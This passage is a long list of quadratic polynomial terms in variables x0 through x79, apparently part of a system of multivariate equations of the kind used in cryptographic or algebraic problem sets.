x10*x59 + x10*x60 + x10*x63 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x72 + x10*x73 + x10*x77 + x10*x78 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x22 + x11*x25 + x11*x27 + x11*x28 + x11*x30 + x11*x33 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x56 + x11*x57 + x11*x59 + x11*x61 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x76 + x11*x77 + x11*x78 + x11 + x12*x13 + x12*x15 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x26 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x33 + x12*x35 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x46 + x12*x47 + x12*x49 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x68 + x12*x69 + x12*x70 + x12*x73 + x12*x76 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x17 + x13*x19 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x33 + x13*x34 + x13*x38 + x13*x39 + x13*x41 + x13*x45 + x13*x47 + x13*x49 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x74 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x16 + x14*x18 + x14*x20 + x14*x22 + x14*x23 + x14*x28 + x14*x29 + x14*x30 + x14*x31 + x14*x33 + x14*x35 + x14*x37 + x14*x39 + x14*x40 + x14*x45 + x14*x46 + x14*x48 + x14*x49 + x14*x56 + x14*x57 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x66 + x14*x67 + x14*x71 + x14*x72 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x19 + x15*x25 + x15*x26 + x15*x28 + x15*x31 + x15*x32 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x41 + x15*x43 + x15*x46 + x15*x49 + x15*x50 + x15*x51 + x15*x55 + x15*x57 + x15*x58 + x15*x64 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x77 + x15*x78 + x16*x18 + x16*x24 + x16*x26 + x16*x27 + x16*x31 + x16*x33 + x16*x35 + x16*x43 + x16*x47 + x16*x55 + x16*x56 + x16*x62 + x16*x63 + x16*x64 + x16*x66 + x16*x67 + x16*x69 + x16*x73 + x16*x75 + x16*x76 + x16 + x17*x18 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x28 + x17*x29 + x17*x30 + x17*x32 + x17*x35 + x17*x37 + x17*x39 + x17*x46 + x17*x47 + x17*x50 + x17*x51 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x62 + x17*x63 + x17*x66 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x77 + x17*x78 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x29 + x18*x32 + x18*x34 + x18*x35 + x18*x36 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x44 + x18*x46 + x18*x49 + x18*x52 + x18*x53 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x19*x23 + x19*x27 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x40 + x19*x41 + x19*x43 + x19*x45 + x19*x51 + x19*x52 + x19*x53 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x71 + x19*x72 + x19*x74 + x19*x76 + x19*x77 + x19*x79 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x30 + x20*x31 + x20*x34 + x20*x39 + x20*x41 + x20*x42 + x20*x43 + x20*x47 + x20*x51 + x20*x52 + x20*x53 + x20*x55 + x20*x57 + x20*x58 + x20*x60 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x69 + x20*x71 + x20*x75 + x20*x77 + x21*x22 + x21*x25 + x21*x28 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x40 + x21*x41 + x21*x43 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x54 + x21*x55 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x65 + x21*x67 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x24 + x22*x27 + x22*x28 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x39 + x22*x41 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x55 + x22*x56 + x22*x61 + x22*x62 + x22*x63 + x22*x66 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x72 + x22*x73 + x22*x75 + x22*x76 + x22*x77 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x34 + x23*x37 + x23*x39 + x23*x41 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x49 + x23*x50 + x23*x52 + x23*x55 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x75 + x24*x25 + x24*x28 + x24*x31 + x24*x33 + x24*x36 + x24*x37 + x24*x44 + x24*x48 + x24*x50 + x24*x51 + x24*x54 + x24*x55 + x24*x57 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x76 + x24*x77 + x24*x78 + x24 + x25*x26 + x25*x29 + x25*x30 + x25*x33 + x25*x34 + x25*x36 + x25*x39 + x25*x40 + x25*x42 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x51 + x25*x52 + x25*x62 + x25*x63 + x25*x66 + x25*x71 + x25*x73 + x25*x74 + x25*x79 + x25 + x26*x27 + x26*x30 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x57 + x26*x64 + x26*x69 + x26*x70 + x26*x71 + x26*x75 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x33 + x27*x34 + x27*x35 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x46 + x27*x48 + x27*x50 + x27*x51 + x27*x52 + x27*x59 + x27*x60 + x27*x61 + x27*x63 + x27*x66 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x77 + x27*x78 + x28*x30 + x28*x34 + x28*x35 + x28*x36 + x28*x44 + x28*x47 + x28*x48 + x28*x50 + x28*x55 + x28*x57 + x28*x58 + x28*x59 + x28*x60 + x28*x62 + x28*x67 + x28*x73 + x29*x30 + x29*x32 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x43 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x57 + x29*x59 + x29*x61 + x29*x64 + x29*x67 + x29*x68 + x29*x69 + x29*x79 + x29 + x30*x31 + x30*x33 + x30*x37 + x30*x38 + x30*x40 + x30*x43 + x30*x44 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x62 + x30*x64 + x30*x65 + x30*x68 + x30*x69 + x30*x75 + x30*x77 + x30*x78 + x30 + x31*x33 + x31*x38 + x31*x40 + x31*x41 + x31*x42 + x31*x44 + x31*x47 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x57 + x31*x61 + x31*x62 + x31*x66 + x31*x67 + x31*x70 + x31*x73 + x31*x77 + x31*x78 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x39 + x32*x43 + x32*x47 + x32*x50 + x32*x51 + x32*x52 + x32*x55 + x32*x57 + x32*x58 + x32*x60 + x32*x64 + x32*x65 + x32*x68 + x32*x74 + x32*x79 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x57 + x33*x58 + x33*x62 + x33*x68 + x33*x70 + x33*x72 + x33*x73 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x33 + x34*x37 + x34*x38 + x34*x40 + x34*x43 + x34*x44 + x34*x45 + x34*x46 + x34*x50 + x34*x51 + x34*x56 + x34*x59 + x34*x60 + x34*x61 + x34*x64 + x34*x68 + x34*x72 + x34*x74 + x34*x77 + x35*x36 + x35*x40 + x35*x45 + x35*x46 + x35*x47 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x61 + x35*x65 + x35*x66 + x35*x67 + x35*x68 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x78 + x35*x79 + x36*x44 + x36*x45 + x36*x46 + x36*x48 + x36*x50 + x36*x52 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x62 + x36*x63 + x36*x66 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x46 + x37*x50 + x37*x52 + x37*x53 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x58 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x75 + x37*x77 + x38*x39 + x38*x42 + x38*x45 + x38*x46 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x58 + x38*x62 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x69 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x79 + x38 + x39*x41 + x39*x46 + x39*x47 + x39*x49 + x39*x52 + x39*x55 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x70 + x39*x71 + x39*x74 + x39*x77 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x46 + x40*x47 + x40*x48 + x40*x49 + x40*x50 + x40*x52 + x40*x53 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x66 + x40*x72 + x40*x79 + x41*x44 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x58 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x70 + x41*x72 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x57 + x42*x61 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x78 + x42 + x43*x44 + x43*x45 + x43*x48 + x43*x49 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x66 + x43*x67 + x43*x68 + x43*x71 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x52 + x44*x54 + x44*x55 + x44*x59 + x44*x61 + x44*x62 + x44*x64 + x44*x66 + x44*x67 + x44*x69 + x44*x70 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x44 + x45*x46 + x45*x47 + x45*x49 + x45*x50 + x45*x53 + x45*x54 + x45*x56 + x45*x57 + x45*x60 + x45*x62 + x45*x67 + x45*x68 + x45*x71 + x45*x72 + x45*x74 + x45*x75 + x45*x77 + x46*x47 + x46*x48 + x46*x50 + x46*x53 + x46*x55 + x46*x56 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x74 + x46*x75 + x46*x76 + x46*x78 + x46*x79 + x46 + x47*x48 + x47*x52 + x47*x53 + x47*x55 + x47*x58 + x47*x59 + x47*x64 + x47*x65 + x47*x66 + x47*x69 + x47*x71 + x47*x73 + x47*x74 + x47*x77 + x48*x49 + x48*x51 + x48*x52 + x48*x55 + x48*x57 + x48*x58 + x48*x61 + x48*x62 + x48*x67 + x48*x70 + x48*x72 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x54 + x49*x58 + x49*x61 + x49*x65 + x49*x66 + x49*x67 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x51 + x50*x52 + x50*x55 + x50*x60 + x50*x63 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x78 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x60 + x51*x61 + x51*x67 + x51*x69 + x51*x70 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51 + x52*x55 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x69 + x52*x76 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x62 + x53*x63 + x53*x67 + x53*x72 + x53*x73 + x53*x74 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x61 + x54*x63 + x54*x66 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x74 + x54*x75 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x63 + x55*x64 + x55*x65 + x55*x66 + x55*x72 + x55*x73 + x55*x75 + x55*x76 + x55*x78 + x56*x61 + x56*x64 + x56*x67 + x56*x71 + x56*x77 + x56*x79 + x57*x58 + x57*x59 + x57*x61 + x57*x63 + x57*x65 + x57*x67 + x57*x70 + x57*x71 + x57*x73 + x57*x76 + x57*x79 + x57 + x58*x62 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x70 + x58*x74 + x58*x78 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x67 + x59*x70 + x59*x75 + x59*x76 + x59*x78 + x59*x79 + x60*x63 + x60*x64 + x60*x65 + x60*x69 + x60*x70 + x60*x73 + x60*x75 + x60*x78 + x61*x63 + x61*x67 + x61*x68 + x61*x70 + x61*x71 + x61*x72 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x75 + x62*x79 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x63 + x64*x67 + x64*x68 + x64*x71 + x64*x72 + x64*x75 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x79 + x66*x67 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x78 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x76 + x67*x77 + x67*x79 + x68*x74 + x68*x77 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x73 + x69*x75 + x69*x76 + x70*x71 + x70*x72 + x70*x75 + x70*x76 + x70*x78 + x70*x79 + x71*x72 + x71*x73 + x71*x74 + x71*x77 + x71 + x72*x73 + x72*x74 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x77 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x77 + x74 + x75*x78 + x77*x78 + x77*x79 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x6 + x0*x7 + x0*x9 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x26 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x32 + x0*x35 + x0*x36 + x0*x40 + x0*x47 + x0*x49 + x0*x54 + x0*x55 + x0*x57 + x0*x58 + x0*x62 + x0*x63 + x0*x66 + x0*x67 + x0*x74 + x0*x76 + x0*x77 + x1*x5 + x1*x9 + x1*x14 + x1*x17 + x1*x20 + x1*x21 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x40 + x1*x43 + x1*x44 + x1*x46 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x57 + x1*x58 + x1*x62 + x1*x63 + x1*x66 + x1*x67 + x1*x70 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x10 + x2*x18 + x2*x20 + x2*x21 + x2*x24 + x2*x28 + x2*x29 + x2*x31 + x2*x33 + x2*x39 + x2*x40 + x2*x41 + x2*x45 + x2*x46 + x2*x47 + x2*x48 + x2*x50 + x2*x52 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x77 + x2*x79 + x2 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x34 + x3*x35 + x3*x36 + x3*x39 + x3*x44 + x3*x48 + x3*x49 + x3*x50 + x3*x54 + x3*x57 + x3*x59 + x3*x61 + x3*x63 + x3*x64 + x3*x68 + x3*x69 + x3*x72 + x3*x74 + x3*x76 + x4*x5 + x4*x10 + x4*x11 + x4*x14 + x4*x15 + x4*x19 + x4*x21 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x40 + x4*x42 + x4*x46 + x4*x47 + x4*x51 + x4*x52 + x4*x53 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4 + x5*x6 + x5*x7 + x5*x11 + x5*x13 + x5*x15 + x5*x17 + x5*x19 + x5*x20 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x35 + x5*x40 + x5*x42 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x51 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x79 + x5 + x6*x8 + x6*x9 + x6*x11 + x6*x13 + x6*x14 + x6*x15 + x6*x17 + x6*x18 + x6*x19 + x6*x24 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x39 + x6*x40 + x6*x46 + x6*x50 + x6*x51 + x6*x57 + x6*x58 + x6*x63 + x6*x64 + x6*x66 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x79 + x7*x15 + x7*x16 + x7*x18 + x7*x19 + x7*x25 + x7*x30 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x43 + x7*x45 + x7*x48 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x66 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x16 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x26 + x8*x29 + x8*x35 + x8*x38 + x8*x39 + x8*x41 + x8*x48 + x8*x49 + x8*x50 + x8*x53 + x8*x54 + x8*x55 + x8*x59 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x72 + x8*x73 + x8*x78 + x8 + x9*x11 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x22 + x9*x28 + x9*x29 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x48 + x9*x51 + x9*x53 + x9*x54 + x9*x57 + x9*x59 + x9*x60 + x9*x63 + x9*x64 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x73 + x9*x77 + x9*x78 + x9*x79 + x10*x12 + x10*x14 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x23 + x10*x24 + x10*x26 + x10*x29 + x10*x32 + x10*x34 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x45 + x10*x46 + x10*x50 + x10*x55 + x10*x57 + x10*x58 + x10*x60 + x10*x62 + x10*x67 + x10*x68 + x10*x70 + x10*x72 + x10*x75 + x10*x78 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x19 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x28 + x11*x29 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x38 + x11*x39 + x11*x40 + x11*x42 + x11*x43 + x11*x46 + x11*x47 + x11*x49 + x11*x50 + x11*x51 + x11*x54 + x11*x55 + x11*x56 + x11*x58 + x11*x59 + x11*x61 + x11*x62 + x11*x65 + x11*x72 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x15 + x12*x17 + x12*x21 + x12*x23 + x12*x26 + x12*x27 + x12*x29 + x12*x33 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x45 + x12*x46 + x12*x47 + x12*x51 + x12*x52 + x12*x53 + x12*x56 + x12*x60 + x12*x62 + x12*x64 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x72 + x12*x73 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x27 + x13*x28 + x13*x30 + x13*x32 + x13*x33 + x13*x36 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x49 + x13*x51 + x13*x54 + x13*x55 + x13*x59 + x13*x60 + x13*x62 + x13*x64 + x13*x67 + x13*x69 + x13*x70 + x13*x72 + x13*x75 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x22 + x14*x23 + x14*x24 + x14*x26 + x14*x28 + x14*x32 + x14*x34 + x14*x35 + x14*x37 + x14*x38 + x14*x39 + x14*x41 + x14*x43 + x14*x44 + x14*x45 + x14*x47 + x14*x50 + x14*x51 + x14*x55 + x14*x60 + x14*x62 + x14*x63 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x15*x16 + x15*x21 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x34 + x15*x37 + x15*x39 + x15*x41 + x15*x44 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x54 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x70 + x15*x75 + x15*x77 + x15*x78 + x16*x21 + x16*x22 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x39 + x16*x40 + x16*x41 + x16*x43 + x16*x44 + x16*x47 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x62 + x16*x63 + x16*x64 + x16*x66 + x16*x68 + x16*x70 + x16*x73 + x16*x75 + x16*x77 + x16*x78 + x17*x19 + x17*x22 + x17*x25 + x17*x27 + x17*x28 + x17*x29 + x17*x36 + x17*x38 + x17*x47 + x17*x50 + x17*x51 + x17*x53 + x17*x59 + x17*x63 + x17*x67 + x17*x73 + x17*x77 + x17*x78 + x17 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x32 + x18*x33 + x18*x37 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x49 + x18*x51 + x18*x53 + x18*x56 + x18*x59 + x18*x63 + x18*x64 + x18*x67 + x18*x70 + x18*x74 + x18*x76 + x18*x77 + x18*x78 + x18*x79 + x19*x21 + x19*x22 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x35 + x19*x39 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x52 + x19*x54 + x19*x56 + x19*x57 + x19*x59 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x71 + x19*x72 + x19*x73 + x19*x74 + x19*x75 + x19*x78 + x19*x79 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x38 + x20*x39 + x20*x43 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x60 + x20*x64 + x20*x65 + x20*x68 + x20*x70 + x20*x72 + x20*x79 + x20 + x21*x23 + x21*x25 + x21*x27 + x21*x30 + x21*x35 + x21*x37 + x21*x39 + x21*x41 + x21*x43 + x21*x44 + x21*x45 + x21*x46 + x21*x47 + x21*x50 + x21*x51 + x21*x54 + x21*x57 + x21*x60 + x21*x62 + x21*x63 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x74 + x21*x75 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x31 + x22*x33 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x42 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x50 + x22*x52 + x22*x54 + x22*x56 + x22*x65 + x22*x67 + x22*x70 + x22*x71 + x22*x72 + x22*x73 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x32 + x23*x33 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x46 + x23*x52 + x23*x54 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x69 + x23*x70 + x23*x72 + x23*x73 + x23*x74 + x23*x76 + x23 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x31 + x24*x36 + x24*x39 + x24*x42 + x24*x43 + x24*x45 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x53 + x24*x55 + x24*x57 + x24*x58 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x31 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x40 + x25*x42 + x25*x44 + x25*x52 + x25*x55 + x25*x57 + x25*x58 + x25*x62 + x25*x67 + x25*x69 + x25*x70 + x25*x71 + x25*x74 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x34 + x26*x37 + x26*x38 + x26*x39 + x26*x41 + x26*x43 + x26*x55 + x26*x56 + x26*x57 + x26*x59 + x26*x60 + x26*x61 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x75 + x26*x78 + x27*x29 + x27*x30 + x27*x33 + x27*x36 + x27*x38 + x27*x39 + x27*x42 + x27*x45 + x27*x46 + x27*x49 + x27*x50 + x27*x53 + x27*x56 + x27*x60 + x27*x61 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x79 + x28*x29 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x48 + x28*x49 + x28*x52 + x28*x55 + x28*x56 + x28*x59 + x28*x62 + x28*x63 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x73 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x38 + x29*x41 + x29*x45 + x29*x46 + x29*x49 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x60 